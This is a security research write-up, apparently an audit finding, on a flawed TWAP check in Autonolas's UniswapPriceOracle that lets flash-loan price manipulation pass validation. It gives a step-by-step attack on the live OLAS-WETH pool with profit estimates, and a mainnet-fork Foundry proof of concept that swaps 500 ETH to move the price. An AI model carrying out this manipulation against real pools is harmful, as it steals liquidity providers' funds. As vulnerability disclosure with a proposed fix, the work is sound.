Font Size
Theme
SECURITY RESEARCH · HIGH SEVERITY

UniswapPriceOracle.validatePrice() TWAP Calculation Flaw

A mathematical error that causes the Time-Weighted Average Price to always equal the current spot price, providing zero protection against flash loan manipulation.

By Maro · January 2026 · ~15 min read · Code4rena · Autonolas (OLAS)
DeFi Oracle Manipulation Flash Loan Solidity Autonolas
OVERVIEW

Summary

The validatePrice() function in UniswapPriceOracle.sol contains a mathematical error that causes the TWAP to always equal the current spot price, providing no protection against flash loan manipulation.

VULNERABILITY

The Mathematical Flaw

Location: contracts/oracles/UniswapPriceOracle.sol lines 79-82

Solidity
uint256 cumulativePrice = cumulativePriceLast + (tradePrice * elapsedTime);
uint256 timeWeightedAverage = (cumulativePrice - cumulativePriceLast) / elapsedTime;
Mathematical Simplification: TWAP = (old + spot×time − old) / time = spot. The 'TWAP' always equals the current spot price.
IMPACT

Why This Matters

~81 ETH
Attacker Profit Per Attack
$228K
USD Value at Risk
100%
validatePrice() Bypass Rate
3
Affected Functions

Affected functions:

  • LiquidityManagerETH._removeV2Liquidity() — Full vulnerability
  • LiquidityManagerOptimism._removeV2Liquidity() — Full vulnerability
  • BuyBackBurner._buyOLAS() — Partial (has after-swap check)
EXPLOITATION

Attack Scenario

Current OLAS-WETH Pool State:
  • OLAS Reserve: 19,703,646 OLAS
  • WETH Reserve: 359.87 WETH
  • Pool TVL: ~$2,015,000 (at ETH=$2,800)
  1. Flash Loan: Take Aave V3 flash loan — 500 ETH, Fee: 0.05% = 0.25 ETH ($700)
  2. Price Manipulation: Swap 500 ETH → OLAS — Receives ~11,442,857 OLAS, Price Impact: 82% drop
  3. Wait 1 Block: Wait 12 seconds for validatePrice() to not return false
  4. Victim Execution: LiquidityManager executes, validatePrice(500) = TRUE despite 82% manipulation
  5. Profit Extraction: Reverse swap, price recovers. Net profit: ~81 ETH ($226,800)
Profit Calculation:
  • Victim LP Value: 100 ETH
  • Victim Loss: 82 ETH (~$229,600)
  • Flash Loan Fee: 0.25 ETH ($700)
  • Gas Cost: ~0.01 ETH ($28)
  • Net Attacker Profit: ~81 ETH ($226,800)
MITIGATION

Recommended Fix

Store cumulative price snapshots and calculate actual TWAP between two points.

Solidity
struct PriceSnapshot {
    uint256 cumulativePrice;
    uint256 timestamp;
}

PriceSnapshot public lastSnapshot;

function validatePrice(uint256 slippage) external view returns (bool) {
    uint256 currentCumulative = direction == 0
        ? IUniswapV2(pair).price1CumulativeLast()
        : IUniswapV2(pair).price0CumulativeLast();
    
    uint256 timeElapsed = block.timestamp - lastSnapshot.timestamp;
    require(timeElapsed > 0, "Need time gap");
    
    // Actual TWAP calculation
    uint256 twap = (currentCumulative - lastSnapshot.cumulativePrice) / timeElapsed;
    
    uint256 spotPrice = getPrice();
    uint256 derivation = spotPrice > twap
        ? ((spotPrice - twap) * 1e16) / twap
        : ((twap - spotPrice) * 1e16) / twap;
    
    return derivation <= slippage;
}
PROOF OF CONCEPT

Proof of Concept

Run command:

Bash
forge test --match-contract PoC_FakeTWAP_Final -vvv
Test Results:
  • [PASS] test_ValidatePrice_True_After_Manipulation() — Proves validatePrice returns TRUE after 80% manipulation
  • [PASS] test_TWAP_Equals_Spot() — Mathematical proof TWAP = spot always
  • [PASS] test_Derivation_Zero() — Derivation is always zero
Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";

/**
 * @title PoC: UniswapPriceOracle TWAP Calculation Flaw
 * @notice Proves validatePrice() returns true even after 80% price manipulation
 * @dev Run: forge test --match-contract PoC_FakeTWAP_Final -vvv
 */

interface IUniswapV2 {
    function token0() external view returns (address);
    function getReserves() external view returns (uint112, uint112, uint32);
    function price0CumulativeLast() external view returns (uint256);
    function price1CumulativeLast() external view returns (uint256);
}

contract UniswapPriceOracle {
    address public immutable pair;
    uint256 public immutable maxSlippage;
    uint256 public immutable direction;

    constructor(address _secondToken, uint256 _maxSlippage, address _pair) {
        pair = _pair;
        maxSlippage = _maxSlippage;
        address token0 = IUniswapV2(pair).token0();
        if (token0 != _secondToken) {
            direction = 1;
        }
    }

    function getPrice() public view returns (uint256) {
        uint256[] memory balances = new uint256[](2);
        (balances[0], balances[1], ) = IUniswapV2(pair).getReserves();
        uint256 balanceIn = balances[direction];
        uint256 balanceOut = balances[(direction + 1) % 2];
        return (balanceOut * 1e18) / balanceIn;
    }

    function validatePrice(uint256 slippage) external view returns (bool) {
        require(slippage <= maxSlippage, "Slippage overflow");
        uint256 cumulativePriceLast;
        if (direction == 0) {
            cumulativePriceLast = IUniswapV2(pair).price1CumulativeLast();
        } else {
            cumulativePriceLast = IUniswapV2(pair).price0CumulativeLast();
        }
        (, , uint256 blockTimestampLast) = IUniswapV2(pair).getReserves();
        if (block.timestamp == blockTimestampLast) {
            return false;
        }
        uint256 elapsedTime = block.timestamp - blockTimestampLast;
        uint256 tradePrice = getPrice();

        // BUG: Lines 79-82
        uint256 cumulativePrice = cumulativePriceLast + (tradePrice * elapsedTime);
        uint256 timeWeightedAverage = (cumulativePrice - cumulativePriceLast) / elapsedTime;

        uint256 derivation = (tradePrice > timeWeightedAverage)
            ? ((tradePrice - timeWeightedAverage) * 1e16) / timeWeightedAverage
            : ((timeWeightedAverage - tradePrice) * 1e16) / timeWeightedAverage;
        return derivation <= slippage;
    }
}

interface IERC20 {
    function approve(address, uint256) external returns (bool);
}

interface IRouter {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory);
}

contract PoC_FakeTWAP_Final is Test {
    address constant OLAS_WETH_PAIR = 0x09D1d767eDF8Fa23A64C51fa559E0688E526812F;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant OLAS = 0x0001A500A6B18995B03f44bb040A5fFc28E45CB0;
    address constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address constant WHALE = 0x8EB8a3b98659Cce290402893d0123abb75E3ab28;

    UniswapPriceOracle oracle;

    function setUp() public {
        vm.createSelectFork("https://eth-mainnet.g.alchemy.com/v2/KEY");
        oracle = new UniswapPriceOracle(WETH, 500, OLAS_WETH_PAIR);
    }

    function test_ValidatePrice_True_After_Manipulation() public {
        uint256 priceBefore = oracle.getPrice();

        vm.startPrank(WHALE);
        IERC20(WETH).approve(UNISWAP_ROUTER, 500 ether);
        address[] memory path = new address[](2);
        path[0] = WETH;
        path[1] = OLAS;
        IRouter(UNISWAP_ROUTER).swapExactTokensForTokens(
            500 ether, 0, path, WHALE, block.timestamp
        );
        vm.stopPrank();

        uint256 priceAfter = oracle.getPrice();
        uint256 priceChange = ((priceBefore - priceAfter) * 100) / priceBefore;
        assertTrue(priceChange > 50, "Price manipulated >50%");

        vm.warp(block.timestamp + 12);
        vm.roll(block.number + 1);

        bool validAfterManipulation = oracle.validatePrice(500);
        assertTrue(validAfterManipulation, 
            "validatePrice should return TRUE despite manipulation");
    }

    function test_TWAP_Equals_Spot() public pure {
        uint256 cumulativePriceLast = 1e27;
        uint256 elapsedTime = 3600;
        uint256 spotPrice = 12345e18;

        uint256 cumulativePrice = cumulativePriceLast + (spotPrice * elapsedTime);
        uint256 twap = (cumulativePrice - cumulativePriceLast) / elapsedTime;

        assertEq(spotPrice, twap, "TWAP equals spot");
    }

    function test_Derivation_Zero() public pure {
        uint256 spotPrice = 999e18;
        uint256 cumulativePriceLast = 123e18;
        uint256 elapsedTime = 42;

        uint256 cumulativePrice = cumulativePriceLast + (spotPrice * elapsedTime);
        uint256 twap = (cumulativePrice - cumulativePriceLast) / elapsedTime;

        uint256 derivation = spotPrice > twap
            ? ((spotPrice - twap) * 1e16) / twap
            : ((twap - spotPrice) * 1e16) / twap;

        assertEq(derivation, 0, "Derivation zero");
    }
}
REFERENCES

Links